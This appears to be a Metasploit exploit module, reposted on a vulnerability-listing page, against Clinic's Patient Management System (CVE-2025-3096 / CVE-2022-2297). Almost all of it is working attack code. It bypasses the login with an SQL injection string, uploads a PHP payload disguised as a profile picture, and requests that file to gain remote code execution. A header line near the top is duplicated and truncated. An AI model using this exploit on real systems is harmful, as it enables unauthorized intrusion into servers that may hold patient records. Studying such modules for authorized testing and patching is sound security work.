##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
# include Msf::Post::File
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
'Description' => %q{
This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
},
'Author' => [
'msutovsky-r7', # CVE-2025-3096, module developer
'Ashish Kumar' # CVE-2022-2297
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Privileged' => false,
'Targets' => [
['Clinic Patient Management System 2.0', {}]
],
'DefaultTarget' => 0,
'References' => [
['CVE', '2022-2297'],
['CVE', '2025-3096'],
['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
],
'DisclosureDate' => '2025-01-04',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms/']),
OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])
])
end
def check
print_status('Checking if target is vulnerable...')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})
return Exploit::CheckCode::Unknown('Unexpected response code from server') unless res&.code == 200
return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")
return Exploit::CheckCode::Appears('Clinic PMS detected')
end
def login_sqli
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' =>
{
user_name: "' or '1'='1' LIMIT 1;--",
password: '',
login: ''
}
})
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')
fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
print_status('Logged using SQL injection..')
end
def upload_payload
username = Rex::Text.rand_text_alphanumeric(8)
password = Rex::Text.rand_text_alphanumeric(8)
filename = Rex::Text.rand_text_alphanumeric(8) + '.php'
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
data_post = "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"hidden_id\"\r\n\r\n"
data_post << "1\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"display_name\"\r\n\r\n"
data_post << "#{username}\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{username}\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{password}\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"profile_picture\"; filename=\"#{filename}\"\r\n"
data_post << "Content-Type: application/x-php\r\n\r\n"
data_post << "#{payload.encoded}\r\n"
data_post << "--#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"save_user\"\r\n\r\n"
data_post << "\r\n"
data_post << "--#{boundary}--\r\n"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'update_user.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{boundary}",
'vars_get' =>
{
'user_id' => '1'
},
'data' => data_post
})
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
print_status('Malicious file uploaded..')
end
def logout
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path + 'logout.php'),
'method' => 'GET'
})
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'
print_status('Logged out..')
@cookie_jar.clear
end
def trigger_payload
logout
login_sqli
print_status('Reporting vulnerability')
report_vuln(
host: datastore['RHOSTS'],
name: name,
refs: references,
info: 'The target is vulnerable to CVE-2025-3096.'
)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/update_user.php'),
'method' => 'GET',
'keep_cookies' => true,
'vars_get' =>
{
'user_id' => '1'
}
})
fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 200
fail_with Failure::UnexpectedReply, 'Unexpected content of body' if res.body&.blank?
html_document = res.get_html_document
payload_path = html_document.xpath('//img[@alt="User Image"]/@src')&.text
fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?
register_file_for_cleanup(File.basename(payload_path)) if datastore['DELETE_FILES']
send_request_cgi({
'uri' => normalize_uri(target_uri.path, payload_path),
'method' => 'GET',
'keep_cookies' => true
})
end
def exploit
login_sqli
upload_payload
trigger_payload
end
end
Clinic's Patient Management System 1.0 SQL Injection / Remote Code Execution
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 176